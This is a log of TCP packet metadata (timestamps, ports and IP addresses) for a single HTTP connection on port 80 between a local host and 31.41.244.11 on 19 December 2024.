Dec 19, 2024 03:09:13.460686922 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.460743904 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.460786104 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.460840940 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.461642981 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.461698055 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.461744070 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.461798906 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.462624073 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.462680101 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.462752104 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.462805986 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.463561058 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.463615894 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.604451895 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.604581118 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.604674101 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.604674101 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.604902983 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.604959965 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.605046034 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.605101109 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.605887890 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.605947971 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.606029034 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.606084108 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.606906891 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.606966972 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.607029915 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.607084990 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.607841969 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.607894897 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.607964993 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.608019114 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.608800888 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.608855009 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.608952999 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.609008074 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.609788895 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.609842062 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.609930038 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.609983921 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.610761881 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.610841036 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.610918999 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.610969067 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.611771107 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.611828089 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.611891031 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.611948013 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.612767935 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.612823963 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.612867117 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.612921953 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.613722086 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.613778114 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.613867044 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.613924980 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.614707947 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.614787102 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.614825010 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.614877939 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.615657091 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.615712881 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.615811110 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.615863085 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.616657019 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.616715908 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.616796970 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.616847992 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.617645979 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.617703915 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.617775917 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.617829084 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.618614912 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.618669987 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.618735075 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.618783951 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.619580984 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.619636059 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.619723082 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.619776964 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.620564938 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.620619059 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.620711088 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.620764971 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.621526957 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.621582985 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.621669054 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.621721983 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.622545004 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.622598886 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.622698069 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.622751951 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.623513937 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.623568058 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.623641014 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.623694897 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.624480963 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.624536037 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.624613047 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.624664068 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.625485897 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.625552893 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.625617027 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.625695944 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.626454115 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.626504898 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.626586914 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.626641989 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.627432108 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.627489090 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.627572060 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.627621889 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.628402948 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.628454924 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.628536940 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.628588915 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.629374027 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.629437923 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.629517078 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.629570961 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.630368948 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.630429983 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.630498886 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.630552053 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.631361961 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.631416082 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.631489038 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.631540060 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.632323980 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.632379055 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.632534027 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.632586002 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.633299112 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.633349895 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.633457899 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.633508921 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.634268999 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.634320974 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.634409904 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.634462118 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.635268927 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.635324955 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.635397911 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.635459900 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.636228085 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.636285067 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.636404037 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.636456013 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.637209892 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.637263060 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.637352943 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.637403011 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.638211966 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.638263941 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.638341904 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.638391018 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.639251947 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.639306068 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.640225887 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.640280962 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.640369892 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.640386105 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.640422106 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.640450001 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.641124010 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.641179085 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.641268969 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.641319990 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.642141104 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.642196894 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.642258883 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.642313004 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.643121004 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.643179893 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.643243074 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.643297911 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.644232035 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.644287109 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.644414902 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.644469976 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.645054102 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.645117044 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.645200968 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.645251989 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.646061897 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.646115065 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.646205902 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.646255970 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.647016048 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.647068024 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.647160053 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.647212029 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.647989988 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.648041010 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.648130894 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.648184061 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.649019957 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.649075985 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.649139881 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.649193048 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.649970055 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.650022030 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.650101900 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.650154114 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.650943995 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.650999069 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.651087046 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.651145935 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.651979923 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.652034044 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.652110100 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.652162075 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.652893066 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.652947903 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.653037071 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.653090954 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.653877974 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.653923988 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.654025078 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.654078960 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.654850006 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.654903889 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.654990911 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.655045033 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.655792952 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.655848980 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.796667099 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.796780109 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.796899080 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.796899080 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.797149897 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.797238111 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.797283888 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.797343969 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.797501087 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.797558069 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.798362970 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.798414946 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.798521042 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.798572063 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.799273968 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.799326897 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.799438000 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.799494028 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.800234079 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.800291061 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.800384998 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.800441027 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.801280022 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.801333904 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.801568031 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.801630020 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.802227974 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.802284002 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.802329063 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.802382946 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.803226948 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.803284883 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.803359032 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.803414106 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.804138899 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.804197073 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.804272890 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.804326057 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.805120945 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.805186987 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.805279016 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.805334091 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.806132078 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.806190968 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.806257010 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.806313038 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.807073116 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.807126999 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.807188034 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.807265043 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.808083057 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.808142900 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.808182001 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.808237076 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.809032917 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.809086084 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.809175968 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.809231043 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.810017109 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.810072899 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.810142994 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.810199976 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.810993910 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.811058998 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.811152935 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.811203957 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.811995983 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.812053919 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.812158108 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.812210083 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.812979937 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.813057899 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.813102007 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.813152075 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.813945055 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.814033031 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.814069986 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.814132929 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.814955950 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.815016031 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.815058947 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.815113068 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.815916061 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.815968990 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.816059113 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.816114902 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.816888094 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.816947937 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.817013979 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.817069054 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.817866087 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.817928076 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.818033934 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.818097115 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.818871975 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.818929911 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.819036007 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.819091082 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.819828987 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.819888115 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.819974899 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.820029974 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.820812941 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.820868015 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.820925951 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.820981026 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.821773052 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.821830034 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.821893930 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.821944952 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:13.822758913 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:13.822809935 CET	49835	80	192.168.2.5	31.41.244.11
